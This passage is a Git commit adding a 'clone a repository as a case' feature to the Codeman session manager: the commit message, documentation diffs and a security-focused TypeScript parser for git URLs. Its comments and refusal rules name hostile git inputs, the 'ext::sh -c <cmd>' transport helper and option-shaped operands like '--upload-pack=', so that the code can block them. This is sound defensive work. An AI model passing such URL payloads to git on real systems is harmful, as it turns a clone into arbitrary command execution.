feat(cases): clone a Git repository as a new case (#236)

Adds an Add Case -> "Clone Repo" tab plus two endpoints, implementing
@DodgyBadger's proposal in #236: clone a public repository straight into
codeman-cases/<name> and register it as a normal local case.

POST /api/cases/clone is synchronous by design (request held open, bounded
by GIT_CLONE_TIMEOUT_MS): no job store, no polling, no cancellation
surface. Success broadcasts the usual case:created event, so the case
still appears when a proxy idle-timeout kills the request mid-clone.

POST /api/cases/clone-preflight runs `git ls-remote --symref` so the UI can
say, while the user is still typing, whether the URL is cloneable without
credentials, what its default branch is, and which branches/tags exist.

Core lives in src/git-clone.ts, split into a pure half (URL parse, argv/env,
ls-remote parse, stderr classification) and a thin IO half, so every
security decision is unit-testable without spawning anything:

- `<name>::<payload>` transports are refused as a family, not by name:
  ext:: is the famous one, but any of them dispatches to git-remote-<name>
  and turns a clone into arbitrary command execution.
- A leading `-` is refused AND every spawn puts `--` before the operands.
  Either alone is one edit away from being a hole.
- argv arrays, never a shell. URLs carrying user:password@ are refused.
- gitNonInteractiveEnv() closes all four ways git can block on a prompt
  with no terminal attached (terminal prompt, askpass/GUI, ssh, GCM).
  HOME/PATH stay inherited, so a user's own credential helper or ssh agent
  keeps working; Codeman itself collects and stores nothing.
- The timeout signals the process GROUP, since clone fans out into
  git-remote-https/index-pack children that outlive a signal to the parent.
- Bounded output (redacted stderr tail, capped ls-remote stdout, 500 refs
  each) and a global 2-op pool, so N large clones cannot exhaust the host.

Repository contents beat scaffolding: an existing CLAUDE.md is kept, hooks
are merged into whatever .claude/settings.local.json the repo shipped, and
a repo that ships its own Claude settings is reported back as a warning
(those hooks run locally as soon as a session starts there). A failed clone
removes only the directory the attempt created, and refuses a pre-existing
destination outright, so it can never squat on a case name.

Not admin-gated in multi-user mode, unlike /api/cases/link: it writes only
inside the caller's own case space. Local-path/file:// sources are the
exception and stay admin-only there.

UI: live verdict under the URL field, case name filled from the parsed repo
until the user types their own, branch/tag as a datalist of the remote's
real refs, optional shallow clone, and a Brain picker (installed CLIs only)
that points the Run button at the chosen agent. Starting a session stays
opt-in. The tab hides itself when the server reports no git.

Tests: the pure half exhaustively (every refusal has a case), plus real git
against a real local bare repo for clone/ref/timeout/cleanup, and a
route-level suite with unmocked fs that clones through the endpoint.

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
This commit is contained in:
Codeman maintainer
2026-08-09 16:33:01 +02:00
parent b1614e89fc
commit 6cc7b4328b
12 changed files with 2045 additions and 9 deletions
+4 -2
View File
@@ -43,7 +43,7 @@ This file provides guidance to Claude Code (claude.ai/code) when working with co
2. **Frontend changes**: Use Playwright to load the page and assert the UI renders correctly. Use `waitUntil: 'domcontentloaded'` (not `networkidle` — SSE keeps the connection open). Wait 3-4s for polling/async data to populate, then check element visibility, text content, and CSS values
3. **Only after verification passes**, proceed with COM
The production server caches static files for 1 year, `immutable` (`maxAge: '1y'` in `server.ts`). To avoid stale frontend after a deploy, `renderIndexHtml` runs `cacheBustAssets(html)` — it appends `?v=<mtime>` to **every same-origin `.js`/`.css`** reference (mtime memoized ~1s so a burst of renders is cheap; external/already-versioned/missing refs untouched). Because `index.html` is served `no-cache`, a **normal reload now picks up edited modules/styles — no hard refresh needed** (the gesture bundle is injected separately with its own `?v=`). If you add an asset referenced by an _absolute_ URL or from JS rather than a `<script>/<link>` tag, it won't be auto-busted.
The production server caches static files for 1 year, `immutable` (`maxAge: '1y'` in `server.ts`). To avoid stale frontend after a deploy, `renderIndexHtml` runs `cacheBustAssets(html)` — it appends `?v=<mtime>` to **every same-origin `.js`/`.css`** reference (mtime memoized ~1s so a burst of renders is cheap; external/already-versioned/missing refs untouched). Because `index.html` is served `no-cache`, a **normal reload now picks up edited modules/styles — no hard refresh needed** (the gesture bundle is injected separately with its own `?v=`). If you add an asset referenced by an _absolute_ URL or from JS rather than a `<script>/<link>` tag, it won't be auto-busted. ⚠️ **`index.html` itself is the exception: it is read ONCE into `indexHtmlTemplate` in the `WebServer` constructor**, so editing markup in dev needs a server restart (edited `.js`/`.css` do not) — otherwise you debug a "CSS class that doesn't apply" that is really an element still missing from the served HTML.
## COM Shorthand (Deployment)
@@ -226,6 +226,8 @@ Codeman is a Claude Code session manager with web interface and autonomous Ralph
**Ultracode / workflow-run visualization** (opt-in, default OFF): the Workflow tool writes a completion artifact only at run *end*, so live in-flight runs exist solely as transcript dirs. `workflow-run-watcher.ts` therefore synthesizes ACTIVE runs from transcripts until the completion artifact appears and supersedes them. It is **STANDALONE** and deliberately never imports or touches `subagent-watcher.ts`, despite reading the same tree. Two independent toggles: `showUltracodeAgents` (docked panel) and `ultracodeFloatingWindows` (floating windows); the watcher starts if **either** is on. → [architecture-invariants#ultracode--workflow-run-visualization](docs/architecture-invariants.md#ultracode-and-workflow-run-visualization)
**Clone a repository as a case** (issue #236, Add Case → **Clone Repo**): `POST /api/cases/clone` clones a public repo into the caller's case space synchronously (request held open, bounded by `GIT_CLONE_TIMEOUT_MS`, no job store); `POST /api/cases/clone-preflight` reports whether the URL can be cloned anonymously plus its real branches/tags. Core in `src/git-clone.ts`. ⚠️ **The URL is a code-execution surface**: `ext::sh -c <cmd>` (and ANY `<name>::<payload>` helper) makes git run a command, so every `::` form is refused, a leading `-` is refused, and every spawn is an argv array with `--` before the operands. ⚠️ **Non-interactive or the open request hangs** — `gitNonInteractiveEnv()` closes the terminal/askpass/ssh/GCM prompt paths; `HOME`/`PATH` stay inherited, so a user's OWN credential helper may authenticate (Codeman still never collects or stores credentials, and refuses a `user:password@` URL). ⚠️ Timeout kills the process GROUP (clone fans out into child processes), the destination is removed only if this attempt created it, and repository contents win over scaffolding (existing `CLAUDE.md` kept, hooks merged, repo-shipped `.claude/settings*` reported as a warning since its hooks run locally). The **Brain** picker sets the toolbar run mode on success. → [architecture-invariants#clone-a-repository-as-a-case](docs/architecture-invariants.md#clone-a-repository-as-a-case)
**Cross-session search**: `GET /api/search` federates an in-memory search over session metadata, run-summary events, and attachment-history entries. The pure core `searchSources()` does substring matching with hard per-type caps: **no regex (so no ReDoS) and no filesystem reads (so no traversal)**. The server-private `externalPath` is never read. → [architecture-invariants#cross-session-search](docs/architecture-invariants.md#cross-session-search)
**Web tabs** (dashboard URLs as tabs): a saved URL renders as a tab beside agent sessions. **NOT a sixth `SessionMode`** (no PTY, no tmux, no respawn), same reasoning that keeps Docker/remote-SSH as case overlays. Dashboards are **proxied through Codeman's own origin** by default, because a direct iframe fails three ways at once: prod is HTTPS so `http://` targets are blocked as mixed content, many dashboards send `X-Frame-Options: DENY`, and our own `default-src 'self'` CSP blocks cross-origin frames. Proxying leaves the prod CSP unchanged (`/webview/...` is `'self'`). ⚠️ The proxy is **NOT an API surface**: it authenticates on an in-memory capability in the path and is correspondingly exempt from the cookie + Origin checks; that exemption is fenced to safe methods and non-`/api` paths and is pinned by `test/webview-auth-exemption.test.ts`. ⚠️ Iframes omit `allow-same-origin` unless a dashboard is explicitly marked `trusted`, and `Authorization`/`codeman_session` are stripped upstream in **both** modes so `CODEMAN_PASSWORD` cannot leak. ⚠️ A sandboxed frame is **opaque-origin**, which breaks two things `curl` can never reproduce: its runtime-built root-absolute URLs escape `<base>` (fixed by an injected `runtimeUrlShim()`), and its same-host `fetch`/XHR are CORS-checked with `Origin: null` (fixed by `buildProxyCorsHeaders()` plus exempting the proxy from the global `OPTIONS`-204 short-circuit in `registerSecurityHeaders`). Both present as the dashboard's own "Failed to fetch" while the page renders fine. → [architecture-invariants#web-tabs](docs/architecture-invariants.md#web-tabs), `docs/web-tabs.md`
@@ -298,7 +300,7 @@ Frontend JS modules have `@fileoverview` with `@dependency`/`@loadorder` tags. L
### API Routes
~200 handlers across 21 route files in `src/web/routes/`: system (45), sessions (34), cases (27), files (16), orchestrator (10), ralph (9), cron (9), admin (8), plan (8), respawn (7), webviews (6 + the `/webview/:cap/*` proxy), mux (5), push (4), scheduled (4, legacy `ScheduledRun`), me (2), teams (2), search (1), hooks (1), clipboard (1), status-telemetry (1), ws (1 WebSocket). Each file has `@fileoverview` with endpoint details.
~200 handlers across 21 route files in `src/web/routes/`: system (45), sessions (34), cases (29), files (16), orchestrator (10), ralph (9), cron (9), admin (8), plan (8), respawn (7), webviews (6 + the `/webview/:cap/*` proxy), mux (5), push (4), scheduled (4, legacy `ScheduledRun`), me (2), teams (2), search (1), hooks (1), clipboard (1), status-telemetry (1), ws (1 WebSocket). Each file has `@fileoverview` with endpoint details.
**HTTP contract** (stable since 0.9.x, see `docs/versioning-policy.md`; full envelope/status/error-code/SSE spec in `docs/api-reference.md`): responses use the `ApiResponse<T>` envelope — `{ success: true, data? }` or `{ success: false, error, errorCode }` (`src/types/api.ts`). `/api/v1/*` is a versioned alias of `/api/*` (URL rewrite in `server.ts`).
+15
View File
@@ -130,6 +130,21 @@ The general rule: **any new endpoint that turns a caller-supplied `sessionId` in
Tests: `test/file-editing-policy.test.ts` (pure policy), `test/routes/file-write-routes.test.ts` (deliberately **unmocked fs** against a real temp workspace — symlink/TOCTOU/mode behavior must be exercised for real).
### Clone a repository as a case
**Clone Repo tab** (issue #236, proposed by @DodgyBadger): `POST /api/cases/clone` clones a public repository into the caller's case space and registers it as a normal local case; `POST /api/cases/clone-preflight` answers "can this be cloned anonymously, and what refs does it have?" while the user is still typing. Core in `src/git-clone.ts`, split into a PURE half (URL parse, argv/env, `ls-remote` parse, stderr classification) and a thin IO half (`probeGitRemote`, `cloneRepository`).
- ⚠️ **The URL is a code-execution surface, which is why it is parsed rather than forwarded.** `ext::sh -c <cmd>` makes git run an arbitrary command as its transport, and ANY `<name>::<payload>` dispatches to a `git-remote-<name>` helper, so every `::` form is refused outright. A repository starting with `-` is read by git as a flag; that is rejected AND every spawn puts `--` before the operands, because either defence alone is one edit away from being a hole. Spawns are argv arrays, never a shell (unlike `remote-hosts.ts`, which does build a shell line and must `shellescape`). The Zod schema deliberately only length-bounds `repository` — a weaker regex duplicate of `parseGitRepositoryUrl` would be the copy that drifts.
- ⚠️ **Non-interactive or it hangs the request.** The clone is synchronous by design (no job store, no polling, no cancellation surface), so an invisible credential prompt would pin an open HTTP request until the timeout. `gitNonInteractiveEnv()` closes all four prompt paths at once: `GIT_TERMINAL_PROMPT=0`, empty `GIT_ASKPASS`/`SSH_ASKPASS` + `SSH_ASKPASS_REQUIRE=never` + empty `DISPLAY`, `GCM_INTERACTIVE=never`, and `ssh -oBatchMode=yes`. `HOME`/`PATH` are inherited on purpose — a user whose own agent or credential helper already works keeps working (so a private repo may well clone; Codeman just never collects or stores credentials, and refuses a `user:password@` URL).
- ⚠️ **Bounded in time, output and concurrency.** Timeout → SIGTERM → SIGKILL, signalled to the whole process GROUP (`detached: true`, negative pid) because `git clone` fans out into `git-remote-https`/`index-pack` children that a polite signal to the parent leaves running. stderr is kept as a bounded, credential-redacted, control-stripped TAIL; `ls-remote` stdout is capped and refs are capped at 500 each. A small global pool (default 2, `CODEMAN_MAX_GIT_OPERATIONS`) caps concurrent git network ops, same reasoning as `document-conversion-limiter.ts`.
- **Repository contents beat scaffolding.** An existing `CLAUDE.md` is kept (a generated one is written only when absent) and hooks are MERGED into whatever `.claude/settings.local.json` the repo shipped. A repo that ships its own `.claude/settings*.json` is reported back as a warning, because repo-supplied hooks run on the user's machine as soon as a session starts there.
- **Failure leaves nothing behind.** The destination is removed only when it did not exist before the attempt, and a pre-existing directory is refused rather than cloned into, so a failed clone never squats on a case name and never touches an existing tree.
- ⚠️ **Error detail comes from the LAST diagnostic line, not the first.** `git clone` opens with `Cloning into '<dest>'…`, so a first-line pick reported the destination path as the reason a bad branch failed (observed against a real remote). `NOT_FOUND` wording must also say "or private": GitHub answers "Repository not found" for a private repo and a typo alike when unauthenticated.
- **Multi-user**: NOT admin-gated, unlike `/api/cases/link` — it writes only inside the caller's own `resolveCasesDir`. The exception is a `local`-transport source (an absolute path or `file://`), which is admin-only there because per-user spaces live inside one `$HOME` and a local clone would read straight through that boundary.
- **UI** (`case-clone` tab in the Add Case modal): debounced preflight paints a verdict under the field, fills the case name from the parsed repo (until the user types their own), and turns the branch/tag field into a datalist of the remote's real refs. The **Brain** picker sets the toolbar run mode on success (gated by `isCliAvailable()`, like `#runModeMenu`), so Run already points at the chosen CLI; starting a session stays opt-in. The tab hides itself when the server reports no `git` (injected via `window.__codemanCliAvailable`).
Tests: `test/git-clone.test.ts` (pure half exhaustively, plus REAL git against a REAL local bare repo for clone/ref/timeout/cleanup), `test/routes/case-clone-routes.test.ts` (deliberately **unmocked fs**, real clone through the endpoint).
### Ultracode and workflow-run visualization
**Ultracode / Workflow-run visualization** (opt-in `showUltracodeAgents`, default OFF; released 1.1.2): the Workflow tool ("ultracode") writes a COMPLETION artifact per run at `~/.claude/projects/<projHash>/<sessionUuid>/workflows/wf_*.json` (written only at run end); LIVE in-flight runs exist only as transcript dirs at `…/subagents/workflows/wf_<id>/` (journal.jsonl + `agent-*.jsonl`). `workflow-run-watcher.ts` (STANDALONE — deliberately never imports/touches `subagent-watcher.ts`; separate singleton, though it independently reads the same `subagents/workflows/` tree) scans BOTH sources via periodic poll + per-directory chokidar watchers with per-source mtime skip (LRU agentStatCache + journalCache), synthesizing ACTIVE runs (live per-agent tokens/tools/state from transcripts, title/phases from the workflow script) until the completion `wf_*.json` appears and supersedes, and broadcasts SSE `workflow:run_discovered`/`run_updated`/`run_removed`. The watcher is started when **either** `showUltracodeAgents` **or** `ultracodeFloatingWindows` is on (`server.ts` `isWorkflowAgentTrackingEnabled()` returns `(showUltracodeAgents ?? false) || (ultracodeFloatingWindows ?? false)`). Served via `GET /api/workflows` (optional `?minutes=` filter) and `GET /api/workflows/:runId`. Frontend `ultracode-panel.js` renders a docked master-detail view (LEFT: runs + phases; RIGHT: per-agent tokens + tool-calls; click an agent card → its live transcript via client-side `agentId` join). **Additionally**, `ultracode-windows.js` auto-pops a draggable **floating window per active run** (gated on a **DEDICATED** `ultracodeFloatingWindows` toggle, default OFF — independent of the dock panel's `showUltracodeAgents`; see `_ultracodeFloatingEnabled()`), connected by a glowing line to the originating session tab (resolved by `session.claudeSessionId === run.sessionUuid`) — same line idiom as subagent windows, drawn into the shared `#connectionLines` SVG from the tail of `_updateConnectionLinesImmediate`. The window auto-closes ~8s after its run finishes; explicit dismissals are remembered. Clicking an agent card opens an **in-page** connected transcript window (not a browser popup); both run and transcript windows minimize **into** the originating session tab as a merged `ULTRA` badge (🧬 runs / 📄 transcripts) with a restore/dismiss dropdown — minimized runs are skipped by auto-pop. Gesture beta: floating subagent/ultracode windows are pinch-draggable (a `window` grab kind in `entry.ts`). Types: `src/types/workflow-run.ts`. Config: `src/config/workflow-config.ts`.
+770
View File
@@ -0,0 +1,770 @@
/**
* @fileoverview Clone a Git repository into a case (issue #236).
*
* Split deliberately into a PURE half (URL parsing, argv/env construction,
* `ls-remote` output parsing, git-stderr classification) and a thin IO half
* (`probeGitRemote`, `cloneRepository`). The pure half is where every security
* decision lives, so it is unit-testable without spawning anything.
*
* ## Why the URL is parsed rather than passed through
*
* `git clone` accepts far more than "a URL". Two families are dangerous:
*
* - **Transport helpers** — `ext::sh -c <cmd>` makes git execute an arbitrary
* command as the transport. `fd::`, and any other `<name>::<payload>` form,
* dispatch to a `git-remote-<name>` helper. A clone endpoint that forwards
* these is remote code execution, so `::` forms are rejected outright.
* - **Option-shaped operands** — a repository starting with `-` is read by git
* as a flag (`--upload-pack=...`). We reject leading `-` AND pass `--` before
* the operands, because either alone is one typo away from being a hole.
*
* Everything is spawned with an argv array and NEVER through a shell, so quoting
* is not part of the threat model here (unlike the ssh path in remote-hosts.ts,
* which genuinely does build a shell line and must `shellescape`).
*
* ## Credentials are deliberately absent
*
* Codeman collects no tokens, and a URL carrying `user:password@` is rejected —
* it would end up in error text, logs and (via the case name suggestion) the UI.
* `GIT_TERMINAL_PROMPT=0` plus the askpass/BatchMode env below guarantees a
* private repo fails FAST instead of hanging the open HTTP request on an
* invisible username prompt. If the host's own git config (a credential helper,
* an ssh agent, `insteadOf` rules) happens to authenticate, that is the user's
* existing setup working — Codeman neither supplies nor stores anything.
*
* ## Bounded by construction
*
* Every git spawn has a timeout, a hard kill escalation, captured-output caps,
* and shares a small global concurrency pool (same reasoning as
* `document-conversion-limiter.ts`: N simultaneous clones of large repos is a
* localhost resource-exhaustion vector). Cloning is otherwise unbounded in disk
* and time, which is exactly why the caller must treat the timeout as normal.
*
* @module git-clone
*/
import { spawn, execFileSync } from 'node:child_process';
import { existsSync } from 'node:fs';
import { rm } from 'node:fs/promises';
import { EXEC_TIMEOUT_MS } from './config/exec-timeout.js';
// ─── Tunables ────────────────────────────────────────────────────────────────
/** Read a positive-integer env override, clamped into [min, max]. */
function envMs(name: string, fallback: number, min: number, max: number): number {
const raw = Number(process.env[name]);
if (!Number.isFinite(raw) || raw <= 0) return fallback;
return Math.min(max, Math.max(min, Math.floor(raw)));
}
/**
* Wall-clock budget for one `git clone`. Deliberately generous (a real repo over
* a slow link legitimately takes minutes) but always finite: the HTTP request is
* held open for the duration, so an unbounded clone would be an unbounded
* request. Override with CODEMAN_GIT_CLONE_TIMEOUT_MS.
*/
export const GIT_CLONE_TIMEOUT_MS = envMs('CODEMAN_GIT_CLONE_TIMEOUT_MS', 300_000, 10_000, 3_600_000);
/**
* Budget for the `ls-remote` preflight. Short on purpose — it exists to answer
* "can this be cloned without credentials?" while the user is still typing.
* Override with CODEMAN_GIT_LS_REMOTE_TIMEOUT_MS.
*/
export const GIT_LS_REMOTE_TIMEOUT_MS = envMs('CODEMAN_GIT_LS_REMOTE_TIMEOUT_MS', 20_000, 2_000, 120_000);
/** Concurrent git network operations allowed process-wide. Override with CODEMAN_MAX_GIT_OPERATIONS. */
const MAX_CONCURRENT_GIT_OPERATIONS = (() => {
const raw = Number(process.env.CODEMAN_MAX_GIT_OPERATIONS);
return Number.isFinite(raw) && raw >= 1 ? Math.floor(raw) : 2;
})();
/** Longest accepted repository operand. Real URLs are far shorter; this bounds abuse. */
const MAX_REPOSITORY_LENGTH = 2048;
/** Longest accepted branch/tag. git's own limit is much higher; 200 covers every real ref. */
const MAX_REF_LENGTH = 200;
/** Captured stderr returned to the client, in bytes (the tail is the useful part). */
const MAX_STDERR_BYTES = 8_192;
/** Captured `ls-remote` stdout. A busy monorepo can list tens of thousands of refs. */
const MAX_LS_REMOTE_BYTES = 2_000_000;
/** Refs of each kind surfaced to the UI picker. */
const MAX_REFS_RETURNED = 500;
// ─── Types ───────────────────────────────────────────────────────────────────
/** Transports Codeman is willing to hand to git. */
export type GitTransport = 'https' | 'http' | 'ssh' | 'git' | 'local';
export type GitUrlRejectionCode =
| 'EMPTY'
| 'TOO_LONG'
| 'CONTROL_CHARS'
| 'OPTION_LIKE'
| 'TRANSPORT_HELPER'
| 'UNSUPPORTED_TRANSPORT'
| 'CREDENTIALS_IN_URL'
| 'NO_REPOSITORY_NAME'
| 'BAD_SYNTAX';
/** A repository operand Codeman is willing to clone. */
export interface GitUrlAccepted {
cloneable: true;
/** The exact operand handed to git, after `--`. Never shell-interpolated. */
repository: string;
transport: GitTransport;
/** Hostname (empty for `local`). */
host: string;
/** Owner/org path prefix, `/`-joined; empty when the URL has none. */
owner: string;
/** Final path segment with any `.git` suffix removed. */
repo: string;
/** Display label for the host, e.g. `GitHub`. Falls back to the bare host. */
provider: string;
/** Case-name suggestion derived from `repo`; `''` when nothing usable survives. */
suggestedName: string;
/** Non-blocking advisories to show next to the input. */
warnings: string[];
}
/** A repository operand Codeman refuses, with the reason to show the user. */
export interface GitUrlRejected {
cloneable: false;
code: GitUrlRejectionCode;
/** User-facing, safe to render as text. */
message: string;
}
export type GitUrlParse = GitUrlAccepted | GitUrlRejected;
/** What `ls-remote` told us about a remote. */
export interface GitRemoteProbe {
reachable: boolean;
/** Branch `HEAD` points at, when the remote advertises a symref. */
defaultBranch?: string;
branches: string[];
tags: string[];
/** Set when `reachable` is false. */
failure?: GitFailure;
/** True when refs were dropped to stay under the surfaced-refs cap. */
truncated?: boolean;
}
export type GitFailureCode =
| 'GIT_MISSING'
| 'TIMEOUT'
| 'AUTH_REQUIRED'
| 'NOT_FOUND'
| 'REF_NOT_FOUND'
| 'HOST_UNREACHABLE'
| 'DESTINATION_EXISTS'
| 'FAILED';
export interface GitFailure {
code: GitFailureCode;
/** User-facing summary. */
message: string;
/** Tail of git's own stderr, control-stripped and credential-redacted. */
stderr: string;
}
export interface CloneOptions {
/** Pre-validated operand from `parseGitRepositoryUrl`. */
repository: string;
/** Absolute destination directory. Must NOT exist; created by git. */
destination: string;
/** Optional branch or tag (`--branch <ref> --single-branch`). */
ref?: string;
/** `--depth 1`: history-less but much faster on large repos. */
shallow?: boolean;
timeoutMs?: number;
}
export type CloneResult = { ok: true; stderr: string } | { ok: false; failure: GitFailure };
// ─── Pure: repository URL parsing ────────────────────────────────────────────
/** Hosts worth naming in the UI. Anything else shows its bare hostname. */
const PROVIDER_LABELS: Record<string, string> = {
'github.com': 'GitHub',
'www.github.com': 'GitHub',
'gist.github.com': 'GitHub Gist',
'gitlab.com': 'GitLab',
'bitbucket.org': 'Bitbucket',
'codeberg.org': 'Codeberg',
'git.sr.ht': 'SourceHut',
'dev.azure.com': 'Azure DevOps',
'ssh.dev.azure.com': 'Azure DevOps',
'huggingface.co': 'Hugging Face',
};
/** `scheme://` prefix. */
const SCHEME_RE = /^([a-zA-Z][a-zA-Z0-9+.-]*):\/\//;
/** `<helper>::<payload>` — git transport helper dispatch (includes `ext::`). */
const TRANSPORT_HELPER_RE = /^[a-zA-Z0-9][a-zA-Z0-9+.-]*::/;
/** scp-like `[user@]host:path`, the form GitHub prints as "SSH". */
const SCP_LIKE_RE = /^(?:([^@/\s]+)@)?([^:/\s]+):(?!\/)(.+)$/;
/** `C:\repos\x` / `C:/repos/x` — a Windows path, not an scp-like host. */
const WINDOWS_PATH_RE = /^[a-zA-Z]:[\\/]/;
/** Hostname or bracketed IPv6 literal, with an optional `:port`. */
const HOST_RE = /^(?:\[[0-9a-fA-F:.]+\]|[a-zA-Z0-9](?:[a-zA-Z0-9\-.]*[a-zA-Z0-9])?)(?::\d{1,5})?$/;
/** Anything git would not accept quietly in a branch/tag name. */
const SAFE_REF_RE = /^[A-Za-z0-9][A-Za-z0-9._/\-+]*$/;
/**
* Turn a repository name into a Codeman case name.
*
* Case names are `[a-zA-Z0-9_-]+` everywhere else in the app (`SAFE_CASE_NAME`
* in case-routes.ts, `CreateCaseSchema`), so anything else collapses to `-`.
* Returns `''` when nothing usable survives, which the UI treats as "the user
* must type a name" rather than silently inventing one.
*/
export function suggestCaseNameFromRepo(repo: string): string {
const cleaned = repo
.replace(/\.git$/i, '')
.replace(/[^a-zA-Z0-9_-]+/g, '-')
.replace(/-{2,}/g, '-')
.replace(/^[-_]+|[-_]+$/g, '')
.slice(0, 64)
.replace(/[-_]+$/g, '');
return /^[a-zA-Z0-9_-]+$/.test(cleaned) ? cleaned : '';
}
function reject(code: GitUrlRejectionCode, message: string): GitUrlRejected {
return { cloneable: false, code, message };
}
/** Split `owner/sub/repo(.git)` into its owner prefix and repo name. */
function splitRepoPath(rawPath: string): { owner: string; repo: string } {
const segments = rawPath.replace(/^\/+/, '').replace(/\/+$/, '').split('/').filter(Boolean);
const last = segments.pop() ?? '';
return { owner: segments.join('/'), repo: last.replace(/\.git$/i, '') };
}
function accept(
parts: Omit<GitUrlAccepted, 'cloneable' | 'provider' | 'suggestedName'> & { warnings: string[] }
): GitUrlParse {
if (!parts.repo) {
return reject(
'NO_REPOSITORY_NAME',
'That URL has no repository name in it. Expected something like https://github.com/owner/repo.git'
);
}
return {
cloneable: true,
...parts,
provider: PROVIDER_LABELS[parts.host.toLowerCase()] || parts.host || 'local path',
suggestedName: suggestCaseNameFromRepo(parts.repo),
};
}
/**
* Decide whether `input` is something Codeman will hand to `git clone`, and pull
* the pieces the UI needs (provider, owner/repo, suggested case name) out of it.
*
* This is the security boundary for the clone endpoint. Read the module header
* before loosening any branch here — `ext::`-style transports and
* option-shaped operands are the two that turn a clone into arbitrary code
* execution.
*
* Accepting a URL says nothing about whether the remote EXISTS or is public;
* only `probeGitRemote` can answer that.
*/
export function parseGitRepositoryUrl(input: string): GitUrlParse {
const raw = (input ?? '').trim();
if (!raw) return reject('EMPTY', 'Enter a repository URL.');
if (raw.length > MAX_REPOSITORY_LENGTH) {
return reject('TOO_LONG', `Repository URL is too long (max ${MAX_REPOSITORY_LENGTH} characters).`);
}
// eslint-disable-next-line no-control-regex -- deliberate: reject C0/C1 and DEL.
if (/[\u0000-\u001f\u007f-\u009f]/.test(raw)) {
return reject('CONTROL_CHARS', 'Repository URL contains control characters.');
}
if (raw.startsWith('-')) {
// git would read this as a flag. `--` before the operands makes this
// defence redundant; both stay, because either one alone is fragile.
return reject('OPTION_LIKE', 'Repository URL may not start with "-".');
}
if (TRANSPORT_HELPER_RE.test(raw)) {
return reject(
'TRANSPORT_HELPER',
'Transport helpers such as "ext::" are refused: they let a URL run commands on this machine.'
);
}
const schemeMatch = SCHEME_RE.exec(raw);
if (schemeMatch) {
const scheme = schemeMatch[1].toLowerCase();
if (scheme === 'file') return parseLocalSource(raw.slice('file://'.length), raw);
if (scheme !== 'https' && scheme !== 'http' && scheme !== 'ssh' && scheme !== 'git') {
return reject(
'UNSUPPORTED_TRANSPORT',
`Unsupported transport "${scheme}://". Use https://, ssh://, git:// or an SSH address like git@host:owner/repo.git`
);
}
let url: URL;
try {
url = new URL(raw);
} catch {
return reject('BAD_SYNTAX', 'That does not look like a valid URL.');
}
if (url.password) {
return reject(
'CREDENTIALS_IN_URL',
'Remove the password from the URL. Codeman never accepts or stores Git credentials.'
);
}
const host = url.host;
if (!host || !HOST_RE.test(host)) return reject('BAD_SYNTAX', 'That URL has no usable hostname.');
const { owner, repo } = splitRepoPath(decodeURIComponent(url.pathname));
const warnings: string[] = [];
if (scheme === 'http') warnings.push('Plain http:// is unencrypted. Prefer https:// when the host offers it.');
if (scheme === 'git') warnings.push('git:// is unauthenticated and unencrypted. Prefer https:// when possible.');
if (scheme === 'ssh') warnings.push(sshWarning(host));
if (url.username && scheme !== 'ssh') {
warnings.push('The username in the URL is passed to git as-is; Codeman supplies no password for it.');
}
return accept({
repository: raw,
transport: scheme as GitTransport,
host,
owner,
repo,
warnings,
});
}
if (raw.startsWith('/')) return parseLocalSource(raw, raw);
if (WINDOWS_PATH_RE.test(raw)) return parseLocalSource(raw, raw);
if (raw.startsWith('~') || raw.startsWith('./') || raw.startsWith('../')) {
return reject(
'BAD_SYNTAX',
'Use an absolute path for a local repository (no "~" or relative paths), or a full URL.'
);
}
const scp = SCP_LIKE_RE.exec(raw);
if (scp) {
const host = scp[2];
if (!HOST_RE.test(host)) return reject('BAD_SYNTAX', 'That does not look like a valid SSH address.');
if (scp[1]?.includes(':')) {
return reject(
'CREDENTIALS_IN_URL',
'Remove the password from the address. Codeman never accepts or stores Git credentials.'
);
}
const { owner, repo } = splitRepoPath(scp[3]);
return accept({
repository: raw,
transport: 'ssh',
host,
owner,
repo,
warnings: [sshWarning(host)],
});
}
return reject(
'BAD_SYNTAX',
'Enter a full repository URL, e.g. https://github.com/owner/repo.git or git@github.com:owner/repo.git'
);
}
function sshWarning(host: string): string {
return `SSH clones use this machine's existing ssh keys and known_hosts for ${host}. Codeman adds no credentials, so an unconfigured key fails immediately instead of prompting.`;
}
/**
* A local source (`file://…` or an absolute path). Kept because cloning a repo
* that already exists on this machine is genuinely useful and involves no
* network at all. Existence is NOT checked here (this half stays free of IO):
* git reports a missing path perfectly well, and the preflight surfaces it.
*
* The route gates local sources to admins in multi-user mode: a per-user case
* space is a read boundary, and a local clone would read straight through it
* (the same reason `/api/cases/link` is admin-only there).
*/
function parseLocalSource(path: string, original: string): GitUrlParse {
const cleaned = path.replace(/\/+$/, '');
if (!cleaned || (!cleaned.startsWith('/') && !WINDOWS_PATH_RE.test(cleaned))) {
return reject('BAD_SYNTAX', 'Local repository paths must be absolute.');
}
const { owner, repo } = splitRepoPath(cleaned);
return accept({
repository: original,
transport: 'local',
host: '',
owner: owner ? `/${owner}` : '',
repo,
warnings: ['Local clone: git copies from this machine, no network involved.'],
});
}
/** Is `ref` safe to pass as `--branch <ref>`? Rejects flags, spaces and `..`. */
export function isSafeGitRef(ref: string): boolean {
if (!ref || ref.length > MAX_REF_LENGTH) return false;
if (ref.includes('..') || ref.includes('@{') || ref.endsWith('.lock') || ref.endsWith('/')) return false;
return SAFE_REF_RE.test(ref);
}
// ─── Pure: argv + env ────────────────────────────────────────────────────────
/**
* argv for the clone. `--` separates flags from operands so neither the
* repository nor the destination can ever be read as an option.
*/
export function buildCloneArgs(opts: CloneOptions): string[] {
const args = ['clone'];
// `--single-branch` is what makes "just this tag/branch" cheap on a big repo.
if (opts.ref) args.push('--single-branch', '--branch', opts.ref);
if (opts.shallow) args.push('--depth', '1');
args.push('--', opts.repository, opts.destination);
return args;
}
/** argv for the preflight. `--symref` is what reveals the remote's default branch. */
export function buildLsRemoteArgs(repository: string): string[] {
return ['ls-remote', '--symref', '--', repository];
}
/**
* Environment that makes git fail instead of blocking on a prompt.
*
* Every entry closes one way an interactive git can hang a request that has no
* terminal attached: the built-in prompt, a GUI/askpass helper, an ssh
* host-key or passphrase prompt, and Git Credential Manager. `HOME` and `PATH`
* are inherited on purpose — a user whose own ssh agent or credential helper
* already works should keep working.
*/
export function gitNonInteractiveEnv(base: NodeJS.ProcessEnv = process.env): NodeJS.ProcessEnv {
return {
...base,
GIT_TERMINAL_PROMPT: '0',
GIT_ASKPASS: '',
SSH_ASKPASS: '',
SSH_ASKPASS_REQUIRE: 'never',
DISPLAY: '',
GCM_INTERACTIVE: 'never',
GIT_SSH_COMMAND:
